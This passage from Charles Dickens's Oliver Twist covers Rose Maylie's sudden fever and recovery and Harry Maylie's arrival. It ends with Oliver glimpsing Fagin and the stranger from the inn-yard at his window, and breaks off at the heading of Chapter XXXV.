perhaps sit near them, in some +shady place, and listen whilst the young lady read: which he +could have done, until it grew too dark to see the letters. +Then, he had his own lesson for the next day to prepare; and at +this, he would work hard, in a little room which looked into the +garden, till evening came slowly on, when the ladies would walk +out again, and he with them: listening with such pleasure to all +they said: and so happy if they wanted a flower that he could +climb to reach, or had forgotten anything he could run to fetch: +that he could never be quick enough about it. When it became +quite dark, and they returned home, the young lady would sit down +to the piano, and play some pleasant air, or sing, in a low and +gentle voice, some old song which it pleased her aunt to hear. +There would be no candles lighted at such times as these; and +Oliver would sit by one of the windows, listening to the sweet +music, in a perfect rapture. + +And when Sunday came, how differently the day was spent, from any +way in which he had ever spent it yet! and how happily too; like +all the other days in that most happy time! There was the little +church, in the morning, with the green leaves fluttering at the +windows: the birds singing without: and the sweet-smelling air +stealing in at the low porch, and filling the homely building +with its fragrance. The poor people were so neat and clean, and +knelt so reverently in prayer, that it seemed a pleasure, not a +tedious duty, their assembling there together; and though the +singing might be rude, it was real, and sounded more musical (to +Oliver's ears at least) than any he had ever heard in church +before. Then, there were the walks as usual, and many calls at +the clean houses of the labouring men; and at night, Oliver read +a chapter or two from the Bible, which he had been studying all +the week, and in the performance of which duty he felt more proud +and pleased, than if he had been the clergyman himself. + +In the morning, Oliver would be a-foot by six o'clock, roaming +the fields, and plundering the hedges, far and wide, for nosegays +of wild flowers, with which he would return laden, home; and +which it took great care and consideration to arrange, to the +best advantage, for the embellishment of the breakfast-table. +There was fresh groundsel, too, for Miss Maylie's birds, with +which Oliver, who had been studying the subject under the able +tuition of the village clerk, would decorate the cages, in the +most approved taste. When the birds were made all spruce and +smart for the day, there was usually some little commission of +charity to execute in the village; or, failing that, there was +rare cricket-playing, sometimes, on the green; or, failing that, +there was always something to do in the garden, or about the +plants, to which Oliver (who had studied this science also, under +the same master, who was a gardener by trade,) applied himself +with hearty good-will, until Miss Rose made her appearance: when +there were a thousand commendations to be bestowed on all he had +done. + +So three months glided away; three months which, in the life of +the most blessed and favoured of mortals, might have been +unmingled happiness, and which, in Oliver's were true felicity. +With the purest and most amiable generosity on one side; and the +truest, warmest, soul-felt gratitude on the other; it is no +wonder that, by the end of that short time, Oliver Twist had +become completely domesticated with the old lady and her niece, +and that the fervent attachment of his young and sensitive heart, +was repaid by their pride in, and attachment to, himself. + + + + +CHAPTER XXXIII + +WHEREIN THE HAPPINESS OF OLIVER AND HIS FRIENDS, EXPERIENCES A +SUDDEN CHECK + +Spring flew swiftly by, and summer came. If the village had been +beautiful at first it was now in the full glow and luxuriance of +its richness. The great trees, which had looked shrunken and +bare in the earlier months, had now burst into strong life and +health; and stretching forth their green arms over the thirsty +ground, converted open and naked spots into choice nooks, where +was a deep and pleasant shade from which to look upon the wide +prospect, steeped in sunshine, which lay stretched beyond. The +earth had donned her mantle of brightest green; and shed her +richest perfumes abroad. It was the prime and vigour of the +year; all things were glad and flourishing. + +Still, the same quiet life went on at the little cottage, and the +same cheerful serenity prevailed among its inmates. Oliver had +long since grown stout and healthy; but health or sickness made +no difference in his warm feelings of a great many people. He +was still the same gentle, attached, affectionate creature that +he had been when pain and suffering had wasted his strength, and +when he was dependent for every slight attention, and comfort on +those who tended him. + +One beautiful night, when they had taken a longer walk than was +customary with them: for the day had been unusually warm, and +there was a brilliant moon, and a light wind had sprung up, which +was unusually refreshing. Rose had been in high spirits, too, +and they had walked on, in merry conversation, until they had far +exceeded their ordinary bounds. Mrs. Maylie being fatigued, they +returned more slowly home. The young lady merely throwing off +her simple bonnet, sat down to the piano as usual. After running +abstractedly over the keys for a few minutes, she fell into a low +and very solemn air; and as she played it, they heard a sound as +if she were weeping. + +'Rose, my dear!' said the elder lady. + +Rose made no reply, but played a little quicker, as though the +words had roused her from some painful thoughts. + +'Rose, my love!' cried Mrs. Maylie, rising hastily, and bending +over her. 'What is this? In tears! My dear child, what +distresses you?' + +'Nothing, aunt; nothing,' replied the young lady. 'I don't know +what it is; I can't describe it; but I feel--' + +'Not ill, my love?' interposed Mrs. Maylie. + +'No, no! Oh, not ill!' replied Rose: shuddering as though some +deadly chillness were passing over her, while she spoke; 'I shall +be better presently. Close the window, pray!' + +Oliver hastened to comply with her request. The young lady, +making an effort to recover her cheerfulness, strove to play some +livelier tune; but her fingers dropped powerless over the keys. +Covering her face with her hands, she sank upon a sofa, and gave +vent to the tears which she was now unable to repress. + +'My child!' said the elderly lady, folding her arms about her, 'I +never saw you so before.' + +'I would not alarm you if I could avoid it,' rejoined Rose; 'but +indeed I have tried very hard, and cannot help this. I fear I _am_ +ill, aunt.' + +She was, indeed; for, when candles were brought, they saw that in +the very short time which had elapsed since their return home, +the hue of her countenance had changed to a marble whiteness. +Its expression had lost nothing of its beauty; but it was +changed; and there was an anxious haggard look about the gentle +face, which it had never worn before. Another minute, and it was +suffused with a crimson flush: and a heavy wildness came over +the soft blue eye. Again this disappeared, like the shadow +thrown by a passing cloud; and she was once more deadly pale. + +Oliver, who watched the old lady anxiously, observed that she was +alarmed by these appearances; and so in truth, was he; but seeing +that she affected to make light of them, he endeavoured to do the +same, and they so far succeeded, that when Rose was persuaded by +her aunt to retire for the night, she was in better spirits; and +appeared even in better health: assuring them that she felt +certain she should rise in the morning, quite well. + +'I hope,' said Oliver, when Mrs. Maylie returned, 'that nothing +is the matter? She don't look well to-night, but--' + +The old lady motioned to him not to speak; and sitting herself +down in a dark corner of the room, remained silent for some time. +At length, she said, in a trembling voice: + +'I hope not, Oliver. I have been very happy with her for some +years: too happy, perhaps. It may be time that I should meet +with some misfortune; but I hope it is not this.' + +'What?' inquired Oliver. + +'The heavy blow,' said the old lady, 'of losing the dear girl who +has so long been my comfort and happiness.' + +'Oh! God forbid!' exclaimed Oliver, hastily. + +'Amen to that, my child!' said the old lady, wringing her hands. + +'Surely there is no danger of anything so dreadful?' said Oliver. +'Two hours ago, she was quite well.' + +'She is very ill now,' rejoined Mrs. Maylies; 'and will be worse, +I am sure. My dear, dear Rose! Oh, what shall I do without +her!' + +She gave way to such great grief, that Oliver, suppressing his +own emotion, ventured to remonstrate with her; and to beg, +earnestly, that, for the sake of the dear young lady herself, she +would be more calm. + +'And consider, ma'am,' said Oliver, as the tears forced +themselves into his eyes, despite of his efforts to the contrary. +'Oh! consider how young and good she is, and what pleasure and +comfort she gives to all about her. I am sure--certain--quite +certain--that, for your sake, who are so good yourself; and for +her own; and for the sake of all she makes so happy; she will not +die. Heaven will never let her die so young.' + +'Hush!' said Mrs. Maylie, laying her hand on Oliver's head. 'You +think like a child, poor boy. But you teach me my duty, +notwithstanding. I had forgotten it for a moment, Oliver, but I +hope I may be pardoned, for I am old, and have seen enough of +illness and death to know the agony of separation from the +objects of our love. I have seen enough, too, to know that it is +not always the youngest and best who are spared to those that +love them; but this should give us comfort in our sorrow; for +Heaven is just; and such things teach us, impressively, that +there is a brighter world than this; and that the passage to it +is speedy. God's will be done! I love her; and He knows how +well!' + +Oliver was surprised to see that as Mrs. Maylie said these words, +she checked her lamentations as though by one effort; and drawing +herself up as she spoke, became composed and firm. He was still +more astonished to find that this firmness lasted; and that, +under all the care and watching which ensued, Mrs. Maylie was +every ready and collected: performing all the duties which had +devolved upon her, steadily, and, to all external appearances, +even cheerfully. But he was young, and did not know what strong +minds are capable of, under trying circumstances. How should he, +when their possessors so seldom know themselves? + +An anxious night ensued. When morning came, Mrs. Maylie's +predictions were but too well verified. Rose was in the first +stage of a high and dangerous fever. + +'We must be active, Oliver, and not give way to useless grief,' +said Mrs. Maylie, laying her finger on her lip, as she looked +steadily into his face; 'this letter must be sent, with all +possible expedition, to Mr. Losberne. It must be carried to the +market-town: which is not more than four miles off, by the +footpath across the field: and thence dispatched, by an express +on horseback, straight to Chertsey. The people at the inn will +undertake to do this: and I can trust to you to see it done, I +know.' + +Oliver could make no reply, but looked his anxiety to be gone at +once. + +'Here is another letter,' said Mrs. Maylie, pausing to reflect; +'but whether to send it now, or wait until I see how Rose goes +on, I scarcely know. I would not forward it, unless I feared the +worst.' + +'Is it for Chertsey, too, ma'am?' inquired Oliver; impatient to +execute his commission, and holding out his trembling hand for +the letter. + +'No,' replied the old lady, giving it to him mechanically. +Oliver glanced at it, and saw that it was directed to Harry +Maylie, Esquire, at some great lord's house in the country; +where, he could not make out. + +'Shall it go, ma'am?' asked Oliver, looking up, impatiently. + +'I think not,' replied Mrs. Maylie, taking it back. 'I will wait +until to-morrow.' + +With these words, she gave Oliver her purse, and he started off, +without more delay, at the greatest speed he could muster. + +Swiftly he ran across the fields, and down the little lanes which +sometimes divided them: now almost hidden by the high corn on +either side, and now emerging on an open field, where the mowers +and haymakers were busy at their work: nor did he stop once, +save now and then, for a few seconds, to recover breath, until he +came, in a great heat, and covered with dust, on the little +market-place of the market-town. + +Here he paused, and looked about for the inn. There were a white +bank, and a red brewery, and a yellow town-hall; and in one +corner there was a large house, with all the wood about it +painted green: before which was the sign of 'The George.' To +this he hastened, as soon as it caught his eye. + +He spoke to a postboy who was dozing under the gateway; and who, +after hearing what he wanted, referred him to the ostler; who +after hearing all he had to say again, referred him to the +landlord; who was a tall gentleman in a blue neckcloth, a white +hat, drab breeches, and boots with tops to match, leaning against +a pump by the stable-door, picking his teeth with a silver +toothpick. + +This gentleman walked with much deliberation into the bar to make +out the bill: which took a long time making out: and after it +was ready, and paid, a horse had to be saddled, and a man to be +dressed, which took up ten good minutes more. Meanwhile Oliver +was in such a desperate state of impatience and anxiety, that he +felt as if he could have jumped upon the horse himself, and +galloped away, full tear, to the next stage. At length, all was +ready; and the little parcel having been handed up, with many +injunctions and entreaties for its speedy delivery, the man set +spurs to his horse, and rattling over the uneven paving of the +market-place, was out of the town, and galloping along the +turnpike-road, in a couple of minutes. + +As it was something to feel certain that assistance was sent for, +and that no time had been lost, Oliver hurried up the inn-yard, +with a somewhat lighter heart. He was turning out of the gateway +when he accidently stumbled against a tall man wrapped in a +cloak, who was at that moment coming out of the inn door. + +'Hah!' cried the man, fixing his eyes on Oliver, and suddenly +recoiling. 'What the devil's this?' + +'I beg your pardon, sir,' said Oliver; 'I was in a great hurry to +get home, and didn't see you were coming.' + +'Death!' muttered the man to himself, glaring at the boy with his +large dark eyes. 'Who would have thought it! Grind him to ashes! +He'd start up from a stone coffin, to come in my way!' + +'I am sorry,' stammered Oliver, confused by the strange man's +wild look. 'I hope I have not hurt you!' + +'Rot you!' murmured the man, in a horrible passion; between his +clenched teeth; 'if I had only had the courage to say the word, I +might have been free of you in a night. Curses on your head, and +black death on your heart, you imp! What are you doing here?' + +The man shook his fist, as he uttered these words incoherently. +He advanced towards Oliver, as if with the intention of aiming a +blow at him, but fell violently on the ground: writhing and +foaming, in a fit. + +Oliver gazed, for a moment, at the struggles of the madman (for +such he supposed him to be); and then darted into the house for +help. Having seen him safely carried into the hotel, he turned +his face homewards, running as fast as he could, to make up for +lost time: and recalling with a great deal of astonishment and +some fear, the extraordinary behaviour of the person from whom he +had just parted. + +The circumstance did not dwell in his recollection long, however: +for when he reached the cottage, there was enough to occupy his +mind, and to drive all considerations of self completely from his +memory. + +Rose Maylie had rapidly grown worse; before mid-night she was +delirious. A medical practitioner, who resided on the spot, was +in constant attendance upon her; and after first seeing the +patient, he had taken Mrs. Maylie aside, and pronounced her +disorder to be one of a most alarming nature. 'In fact,' he said, +'it would be little short of a miracle, if she recovered.' + +How often did Oliver start from his bed that night, and stealing +out, with noiseless footstep, to the staircase, listen for the +slightest sound from the sick chamber! How often did a tremble +shake his frame, and cold drops of terror start upon his brow, +when a sudden trampling of feet caused him to fear that something +too dreadful to think of, had even then occurred! And what had +been the fervency of all the prayers he had ever muttered, +compared with those he poured forth, now, in the agony and +passion of his supplication for the life and health of the gentle +creature, who was tottering on the deep grave's verge! + +Oh! the suspense, the fearful, acute suspense, of standing idly +by while the life of one we dearly love, is trembling in the +balance! Oh! the racking thoughts that crowd upon the mind, and +make the heart beat violently, and the breath come thick, by the +force of the images they conjure up before it; the desparate +anxiety _to be doing something_ to relieve the pain, or lessen the +danger, which we have no power to alleviate; the sinking of soul +and spirit, which the sad remembrance of our helplessness +produces; what tortures can equal these; what reflections or +endeavours can, in the full tide and fever of the time, allay +them! + +Morning came; and the little cottage was lonely and still. People +spoke in whispers; anxious faces appeared at the gate, from time +to time; women and children went away in tears. All the livelong +day, and for hours after it had grown dark, Oliver paced softly +up and down the garden, raising his eyes every instant to the +sick chamber, and shuddering to see the darkened window, looking +as if death lay stretched inside. Late that night, Mr. Losberne +arrived. 'It is hard,' said the good doctor, turning away as he +spoke; 'so young; so much beloved; but there is very little +hope.' + +Another morning. The sun shone brightly; as brightly as if it +looked upon no misery or care; and, with every leaf and flower in +full bloom about her; with life, and health, and sounds and +sights of joy, surrounding her on every side: the fair young +creature lay, wasting fast. Oliver crept away to the old +churchyard, and sitting down on one of the green mounds, wept and +prayed for her, in silence. + +There was such peace and beauty in the scene; so much of +brightness and mirth in the sunny landscape; such blithesome +music in the songs of the summer birds; such freedom in the rapid +flight of the rook, careering overhead; so much of life and +joyousness in all; that, when the boy raised his aching eyes, and +looked about, the thought instinctively occurred to him, that +this was not a time for death; that Rose could surely never die +when humbler things were all so glad and gay; that graves were +for cold and cheerless winter: not for sunlight and fragrance. +He almost thought that shrouds were for the old and shrunken; and +that they never wrapped the young and graceful form in their +ghastly folds. + +A knell from the church bell broke harshly on these youthful +thoughts. Another! Again! It was tolling for the funeral +service. A group of humble mourners entered the gate: wearing +white favours; for the corpse was young. They stood uncovered by +a grave; and there was a mother--a mother once--among the weeping +train. But the sun shone brightly, and the birds sang on. + +Oliver turned homeward, thinking on the many kindnesses he had +received from the young lady, and wishing that the time could +come again, that he might never cease showing her how grateful +and attached he was. He had no cause for self-reproach on the +score of neglect, or want of thought, for he had been devoted to +her service; and yet a hundred little occasions rose up before +him, on which he fancied he might have been more zealous, and +more earnest, and wished he had been. We need be careful how we +deal with those about us, when every death carries to some small +circle of survivors, thoughts of so much omitted, and so little +done--of so many things forgotten, and so many more which might +have been repaired! There is no remorse so deep as that which is +unavailing; if we would be spared its tortures, let us remember +this, in time. + +When he reached home Mrs. Maylie was sitting in the little +parlour. Oliver's heart sank at sight of her; for she had never +left the bedside of her niece; and he trembled to think what +change could have driven her away. He learnt that she had fallen +into a deep sleep, from which she would waken, either to recovery +and life, or to bid them farewell, and die. + +They sat, listening, and afraid to speak, for hours. The +untasted meal was removed, with looks which showed that their +thoughts were elsewhere, they watched the sun as he sank lower +and lower, and, at length, cast over sky and earth those +brilliant hues which herald his departure. Their quick ears +caught the sound of an approaching footstep. They both +involuntarily darted to the door, as Mr. Losberne entered. + +'What of Rose?' cried the old lady. 'Tell me at once! I can +bear it; anything but suspense! Oh, tell me! in the name of +Heaven!' + +'You must compose yourself,' said the doctor supporting her. 'Be +calm, my dear ma'am, pray.' + +'Let me go, in God's name! My dear child! She is dead! She is +dying!' + +'No!' cried the doctor, passionately. 'As He is good and +merciful, she will live to bless us all, for years to come.' + +The lady fell upon her knees, and tried to fold her hands +together; but the energy which had supported her so long, fled up +to Heaven with her first thanksgiving; and she sank into the +friendly arms which were extended to receive her. + + + + +CHAPTER XXXIV + +CONTAINS SOME INTRODUCTORY PARTICULARS RELATIVE TO A YOUNG +GENTLEMAN WHO NOW ARRIVES UPON THE SCENE; AND A NEW ADVENTURE +WHICH HAPPENED TO OLIVER + +It was almost too much happiness to bear. Oliver felt stunned +and stupefied by the unexpected intelligence; he could not weep, +or speak, or rest. He had scarcely the power of understanding +anything that had passed, until, after a long ramble in the quiet +evening air, a burst of tears came to his relief, and he seemed +to awaken, all at once, to a full sense of the joyful change that +had occurred, and the almost insupportable load of anguish which +had been taken from his breast. + +The night was fast closing in, when he returned homeward: laden +with flowers which he had culled, with peculiar care, for the +adornment of the sick chamber. As he walked briskly along the +road, he heard behind him, the noise of some vehicle, approaching +at a furious pace. Looking round, he saw that it was a +post-chaise, driven at great speed; and as the horses were +galloping, and the road was narrow, he stood leaning against a +gate until it should have passed him. + +As it dashed on, Oliver caught a glimpse of a man in a white +nightcap, whose face seemed familiar to him, although his view was +so brief that he could not identify the person. In another +second or two, the nightcap was thrust out of the chaise-window, +and a stentorian voice bellowed to the driver to stop: which he +did, as soon as he could pull up his horses. Then, the nightcap +once again appeared: and the same voice called Oliver by his +name. + +'Here!' cried the voice. 'Oliver, what's the news? Miss Rose! +Master O-li-ver!' + +'Is is you, Giles?' cried Oliver, running up to the chaise-door. + +Giles popped out his nightcap again, preparatory to making some +reply, when he was suddenly pulled back by a young gentleman who +occupied the other corner of the chaise, and who eagerly demanded +what was the news. + +'In a word!' cried the gentleman, 'Better or worse?' + +'Better--much better!' replied Oliver, hastily. + +'Thank Heaven!' exclaimed the gentleman. 'You are sure?' + +'Quite, sir,' replied Oliver. 'The change took place only a few +hours ago; and Mr. Losberne says, that all danger is at an end.' + +The gentleman said not another word, but, opening the +chaise-door, leaped out, and taking Oliver hurriedly by the arm, +led him aside. + +'You are quite certain? There is no possibility of any mistake +on your part, my boy, is there?' demanded the gentleman in a +tremulous voice. 'Do not deceive me, by awakening hopes that are +not to be fulfilled.' + +'I would not for the world, sir,' replied Oliver. 'Indeed you +may believe me. Mr. Losberne's words were, that she would live +to bless us all for many years to come. I heard him say so.' + +The tears stood in Oliver's eyes as he recalled the scene which +was the beginning of so much happiness; and the gentleman turned +his face away, and remained silent, for some minutes. Oliver +thought he heard him sob, more than once; but he feared to +interrupt him by any fresh remark--for he could well guess what +his feelings were--and so stood apart, feigning to be occupied +with his nosegay. + +All this time, Mr. Giles, with the white nightcap on, had been +sitting on the steps of the chaise, supporting an elbow on each +knee, and wiping his eyes with a blue cotton pocket-handkerchief +dotted with white spots. That the honest fellow had not been +feigning emotion, was abundantly demonstrated by the very red +eyes with which he regarded the young gentleman, when he turned +round and addressed him. + +'I think you had better go on to my mother's in the chaise, +Giles,' said he. 'I would rather walk slowly on, so as to gain a +little time before I see her. You can say I am coming.' + +'I beg your pardon, Mr. Harry,' said Giles: giving a final +polish to his ruffled countenance with the handkerchief; 'but if +you would leave the postboy to say that, I should be very much +obliged to you. It wouldn't be proper for the maids to see me in +this state, sir; I should never have any more authority with them +if they did.' + +'Well,' rejoined Harry Maylie, smiling, 'you can do as you like. +Let him go on with the luggage, if you wish it, and do you follow +with us. Only first exchange that nightcap for some more +appropriate covering, or we shall be taken for madmen.' + +Mr. Giles, reminded of his unbecoming costume, snatched off and +pocketed his nightcap; and substituted a hat, of grave and sober +shape, which he took out of the chaise. This done, the postboy +drove off; Giles, Mr. Maylie, and Oliver, followed at their +leisure. + +As they walked along, Oliver glanced from time to time with much +interest and curiosity at the new comer. He seemed about +five-and-twenty years of age, and was of the middle height; his +countenance was frank and handsome; and his demeanor easy and +prepossessing. Notwithstanding the difference between youth and +age, he bore so strong a likeness to the old lady, that Oliver +would have had no great difficulty in imagining their +relationship, if he had not already spoken of her as his mother. + +Mrs. Maylie was anxiously waiting to receive her son when he +reached the cottage. The meeting did not take place without +great emotion on both sides. + +'Mother!' whispered the young man; 'why did you not write +before?' + +'I did,' replied Mrs. Maylie; 'but, on reflection, I determined +to keep back the letter until I had heard Mr. Losberne's +opinion.' + +'But why,' said the young man, 'why run the chance of that +occurring which so nearly happened? If Rose had--I cannot utter +that word now--if this illness had terminated differently, how +could you ever have forgiven yourself! How could I ever have +know happiness again!' + +'If that _had_ been the case, Harry,' said Mrs. Maylie, 'I fear +your happiness would have been effectually blighted, and that +your arrival here, a day sooner or a day later, would have been +of very, very little import.' + +'And who can wonder if it be so, mother?' rejoined the young man; +'or why should I say, _if_?--It is--it is--you know it, mother--you +must know it!' + +'I know that she deserves the best and purest love the heart of +man can offer,' said Mrs. Maylie; 'I know that the devotion and +affection of her nature require no ordinary return, but one that +shall be deep and lasting. If I did not feel this, and know, +besides, that a changed behaviour in one she loved would break +her heart, I should not feel my task so difficult of performance, +or have to encounter so many struggles in my own bosom, when I +take what seems to me to be the strict line of duty.' + +'This is unkind, mother,' said Harry. 'Do you still suppose that +I am a boy ignorant of my own mind, and mistaking the impulses of +my own soul?' + +'I think, my dear son,' returned Mrs. Maylie, laying her hand +upon his shoulder, 'that youth has many generous impulses which +do not last; and that among them are some, which, being +gratified, become only the more fleeting. Above all, I think' +said the lady, fixing her eyes on her son's face, 'that if an +enthusiastic, ardent, and ambitious man marry a wife on whose +name there is a stain, which, though it originate in no fault of +hers, may be visited by cold and sordid people upon her, and upon +his children also: and, in exact proportion to his success in the +world, be cast in his teeth, and made the subject of sneers +against him: he may, no matter how generous and good his nature, +one day repent of the connection he formed in early life. And +she may have the pain of knowing that he does so.' + +'Mother,' said the young man, impatiently, 'he would be a selfish +brute, unworthy alike of the name of man and of the woman you +describe, who acted thus.' + +'You think so now, Harry,' replied his mother. + +'And ever will!' said the young man. 'The mental agony I have +suffered, during the last two days, wrings from me the avowal to +you of a passion which, as you well know, is not one of +yesterday, nor one I have lightly formed. On Rose, sweet, gentle +girl! my heart is set, as firmly as ever heart of man was set on +woman. I have no thought, no view, no hope in life, beyond her; +and if you oppose me in this great stake, you take my peace and +happiness in your hands, and cast them to the wind. Mother, +think better of this, and of me, and do not disregard the +happiness of which you seem to think so little.' + +'Harry,' said Mrs. Maylie, 'it is because I think so much of warm +and sensitive hearts, that I would spare them from being wounded. +But we have said enough, and more than enough, on this matter, +just now.' + +'Let it rest with Rose, then,' interposed Harry. 'You will not +press these overstrained opinions of yours, so far, as to throw +any obstacle in my way?' + +'I will not,' rejoined Mrs. Maylie; 'but I would have you +consider--' + +'I _have_ considered!' was the impatient reply; 'Mother, I have +considered, years and years. I have considered, ever since I +have been capable of serious reflection. My feelings remain +unchanged, as they ever will; and why should I suffer the pain of +a delay in giving them vent, which can be productive of no +earthly good? No! Before I leave this place, Rose shall hear +me.' + +'She shall,' said Mrs. Maylie. + +'There is something in your manner, which would almost imply that +she will hear me coldly, mother,' said the young man. + +'Not coldly,' rejoined the old lady; 'far from it.' + +'How then?' urged the young man. 'She has formed no other +attachment?' + +'No, indeed,' replied his mother; 'you have, or I mistake, too +strong a hold on her affections already. What I would say,' +resumed the old lady, stopping her son as he was about to speak, +'is this. Before you stake your all on this chance; before you +suffer yourself to be carried to the highest point of hope; +reflect for a few moments, my dear child, on Rose's history, and +consider what effect the knowledge of her doubtful birth may have +on her decision: devoted as she is to us, with all the intensity +of her noble mind, and with that perfect sacrifice of self which, +in all matters, great or trifling, has always been her +characteristic.' + +'What do you mean?' + +'That I leave you to discover,' replied Mrs. Maylie. 'I must go +back to her. God bless you!' + +'I shall see you again to-night?' said the young man, eagerly. + +'By and by,' replied the lady; 'when I leave Rose.' + +'You will tell her I am here?' said Harry. + +'Of course,' replied Mrs. Maylie. + +'And say how anxious I have been, and how much I have suffered, +and how I long to see her. You will not refuse to do this, +mother?' + +'No,' said the old lady; 'I will tell her all.' And pressing her +son's hand, affectionately, she hastened from the room. + +Mr. Losberne and Oliver had remained at another end of the +apartment while this hurried conversation was proceeding. The +former now held out his hand to Harry Maylie; and hearty +salutations were exchanged between them. The doctor then +communicated, in reply to multifarious questions from his young +friend, a precise account of his patient's situation; which was +quite as consolatory and full of promise, as Oliver's statement +had encouraged him to hope; and to the whole of which, Mr. Giles, +who affected to be busy about the luggage, listened with greedy +ears. + +'Have you shot anything particular, lately, Giles?' inquired the +doctor, when he had concluded. + +'Nothing particular, sir,' replied Mr. Giles, colouring up to the +eyes. + +'Nor catching any thieves, nor identifying any house-breakers?' +said the doctor. + +'None at all, sir,' replied Mr. Giles, with much gravity. + +'Well,' said the doctor, 'I am sorry to hear it, because you do +that sort of thing admirably. Pray, how is Brittles?' + +'The boy is very well, sir,' said Mr. Giles, recovering his usual +tone of patronage; 'and sends his respectful duty, sir.' + +'That's well,' said the doctor. 'Seeing you here, reminds me, +Mr. Giles, that on the day before that on which I was called away +so hurriedly, I executed, at the request of your good mistress, a +small commission in your favour. Just step into this corner a +moment, will you?' + +Mr. Giles walked into the corner with much importance, and some +wonder, and was honoured with a short whispering conference with +the doctor, on the termination of which, he made a great many +bows, and retired with steps of unusual stateliness. The subject +matter of this conference was not disclosed in the parlour, but +the kitchen was speedily enlightened concerning it; for Mr. Giles +walked straight thither, and having called for a mug of ale, +announced, with an air of majesty, which was highly effective, +that it had pleased his mistress, in consideration of his gallant +behaviour on the occasion of that attempted robbery, to deposit, +in the local savings-bank, the sum of five-and-twenty pounds, for +his sole use and benefit. At this, the two women-servants lifted +up their hands and eyes, and supposed that Mr. Giles, pulling out +his shirt-frill, replied, 'No, no'; and that if they observed +that he was at all haughty to his inferiors, he would thank them +to tell him so. And then he made a great many other remarks, no +less illustrative of his humility, which were received with equal +favour and applause, and were, withal, as original and as much to +the purpose, as the remarks of great men commonly are. + +Above stairs, the remainder of the evening passed cheerfully +away; for the doctor was in high spirits; and however fatigued or +thoughtful Harry Maylie might have been at first, he was not +proof against the worthy gentleman's good humour, which displayed +itself in a great variety of sallies and professional +recollections, and an abundance of small jokes, which struck +Oliver as being the drollest things he had ever heard, and caused +him to laugh proportionately; to the evident satisfaction of the +doctor, who laughed immoderately at himself, and made Harry laugh +almost as heartily, by the very force of sympathy. So, they were +as pleasant a party as, under the circumstances, they could well +have been; and it was late before they retired, with light and +thankful hearts, to take that rest of which, after the doubt and +suspense they had recently undergone, they stood much in need. + +Oliver rose next morning, in better heart, and went about his +usual occupations, with more hope and pleasure than he had known +for many days. The birds were once more hung out, to sing, in +their old places; and the sweetest wild flowers that could be +found, were once more gathered to gladden Rose with their beauty. +The melancholy which had seemed to the sad eyes of the anxious +boy to hang, for days past, over every object, beautiful as all +were, was dispelled by magic. The dew seemed to sparkle more +brightly on the green leaves; the air to rustle among them with a +sweeter music; and the sky itself to look more blue and bright. +Such is the influence which the condition of our own thoughts, +exercise, even over the appearance of external objects. Men who +look on nature, and their fellow-men, and cry that all is dark +and gloomy, are in the right; but the sombre colours are +reflections from their own jaundiced eyes and hearts. The real +hues are delicate, and need a clearer vision. + +It is worthy of remark, and Oliver did not fail to note it at the +time, that his morning expeditions were no longer made alone. +Harry Maylie, after the very first morning when he met Oliver +coming laden home, was seized with such a passion for flowers, +and displayed such a taste in their arrangement, as left his +young companion far behind. If Oliver were behindhand in these +respects, he knew where the best were to be found; and morning +after morning they scoured the country together, and brought home +the fairest that blossomed. The window of the young lady's +chamber was opened now; for she loved to feel the rich summer air +stream in, and revive her with its freshness; but there always +stood in water, just inside the lattice, one particular little +bunch, which was made up with great care, every morning. Oliver +could not help noticing that the withered flowers were never +thrown away, although the little vase was regularly replenished; +nor, could he help observing, that whenever the doctor came into +the garden, he invariably cast his eyes up to that particular +corner, and nodded his head most expressively, as he set forth on +his morning's walk. Pending these observations, the days were +flying by; and Rose was rapidly recovering. + +Nor did Oliver's time hang heavy on his hands, although the young +lady had not yet left her chamber, and there were no evening +walks, save now and then, for a short distance, with Mrs. Maylie. +He applied himself, with redoubled assiduity, to the instructions +of the white-headed old gentleman, and laboured so hard that his +quick progress surprised even himself. It was while he was +engaged in this pursuit, that he was greatly startled and +distressed by a most unexpected occurrence. + +The little room in which he was accustomed to sit, when busy at +his books, was on the ground-floor, at the back of the house. It +was quite a cottage-room, with a lattice-window: around which +were clusters of jessamine and honeysuckle, that crept over the +casement, and filled the place with their delicious perfume. It +looked into a garden, whence a wicket-gate opened into a small +paddock; all beyond, was fine meadow-land and wood. There was no +other dwelling near, in that direction; and the prospect it +commanded was very extensive. + +One beautiful evening, when the first shades of twilight were +beginning to settle upon the earth, Oliver sat at this window, +intent upon his books. He had been poring over them for some +time; and, as the day had been uncommonly sultry, and he had +exerted himself a great deal, it is no disparagement to the +authors, whoever they may have been, to say, that gradually and +by slow degrees, he fell asleep. + +There is a kind of sleep that steals upon us sometimes, which, +while it holds the body prisoner, does not free the mind from a +sense of things about it, and enable it to ramble at its +pleasure. So far as an overpowering heaviness, a prostration of +strength, and an utter inability to control our thoughts or power +of motion, can be called sleep, this is it; and yet, we have a +consciousness of all that is going on about us, and, if we dream +at such a time, words which are really spoken, or sounds which +really exist at the moment, accommodate themselves with +surprising readiness to our visions, until reality and +imagination become so strangely blended that it is afterwards +almost matter of impossibility to separate the two. Nor is this, +the most striking phenomenon incidental to such a state. It is +an undoubted fact, that although our senses of touch and sight be +for the time dead, yet our sleeping thoughts, and the visionary +scenes that pass before us, will be influenced and materially +influenced, by the _mere silent presence_ of some external object; +which may not have been near us when we closed our eyes: and of +whose vicinity we have had no waking consciousness. + +Oliver knew, perfectly well, that he was in his own little room; +that his books were lying on the table before him; that the sweet +air was stirring among the creeping plants outside. And yet he +was asleep. Suddenly, the scene changed; the air became close +and confined; and he thought, with a glow of terror, that he was +in the Jew's house again. There sat the hideous old man, in his +accustomed corner, pointing at him, and whispering to another +man, with his face averted, who sat beside him. + +'Hush, my dear!' he thought he heard the Jew say; 'it is he, sure +enough. Come away.' + +'He!' the other man seemed to answer; 'could I mistake him, think +you? If a crowd of ghosts were to put themselves into his exact +shape, and he stood amongst them, there is something that would +tell me how to point him out. If you buried him fifty feet deep, +and took me across his grave, I fancy I should know, if there +wasn't a mark above it, that he lay buried there?' + +The man seemed to say this, with such dreadful hatred, that +Oliver awoke with the fear, and started up. + +Good Heaven! what was that, which sent the blood tingling to his +heart, and deprived him of his voice, and of power to move! +There--there--at the window--close before him--so close, that he +could have almost touched him before he started back: with his +eyes peering into the room, and meeting his: there stood the +Jew! And beside him, white with rage or fear, or both, were the +scowling features of the man who had accosted him in the +inn-yard. + +It was but an instant, a glance, a flash, before his eyes; and +they were gone. But they had recognised him, and he them; and +their look was as firmly impressed upon his memory, as if it had +been deeply carved in stone, and set before him from his birth. +He stood transfixed for a moment; then, leaping from the window +into the garden, called loudly for help. + + + + +CHAPTER XXXV + +CONTAINING THE UNSATISFACTORY RESULT OF 